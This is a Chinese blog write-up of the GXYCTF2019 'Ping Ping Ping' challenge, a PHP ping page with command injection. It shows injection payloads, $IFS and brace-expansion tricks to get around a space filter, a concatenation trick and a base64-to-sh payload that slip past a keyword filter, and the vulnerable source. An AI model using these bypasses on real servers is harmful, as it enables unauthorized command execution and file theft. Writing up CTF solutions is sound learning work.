安恒培训-PHP命令执行

当时应该是没做出来,还是蛮难的

[GXYCTF2019]Ping Ping Ping

提示给了ping ip,直接猜命令执行拼接,试了一下

127.0.0.1;ls

发现是可以的,接下来就是cat flag.php,发现有过滤:

Linux表示空格有几种方法:

  1. %20(space)%09(tab)
  2. 使用<或者<>来绕过空格 cat<a.txt
  3. 花括号扩展{OS_COMMAND,ARGUMENT} {cat,/etc/passwd}
  4. $IFS 空格绕过 $IFS$9 ${IFS}
  5. 变量控制 X=$'cat\x09./flag.php

这里也稍微学习了一下$IFS是什么。

$IFS为内部域分隔符,在默认情况下可以表示空格,也可以自定义为换行符、Tab或者其他奇怪的符号。通常有这几种利用的方式:

$ cat$IFSflag.php #false Linux无法区分系统变量名
$ cat${IFS}flag.php #true 加上{}起到固定变量名的作用
$ cat$IFS$9flag.php #true $9为当前系统shell进程的第九个参数的持有者,其始终为字符串

这里绕过方式:

$ cat$IFS$9flag.php

然后发现flag被过滤了,但是index.php没有被过滤,利用命令执行读取index.php源码:

<?php
if(isset($_GET['ip'])){
  $ip = $_GET['ip'];
  if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "<pre>";
  print_r($a);
}

?>

这里经过严格的过滤,我到这里真的歇逼了,跑去翻大神的wp。

方式一:内联执行

a=f;d=ag;c=l;cat$IFS$a$c$d.php

利用字符串拼接,调换一下字符顺序,绕过过滤。

方式二:sh,bash下编码

echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

利用base64绕过过滤。

参考

http://chen.oinsm.com/2020/01/10/GXYCTF-2019-%E5%A4%8D%E7%8E%B0/

https://blog.csdn.net/qq_42812036/article/details/104297163

http://pupiles.com/shellcode.html

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇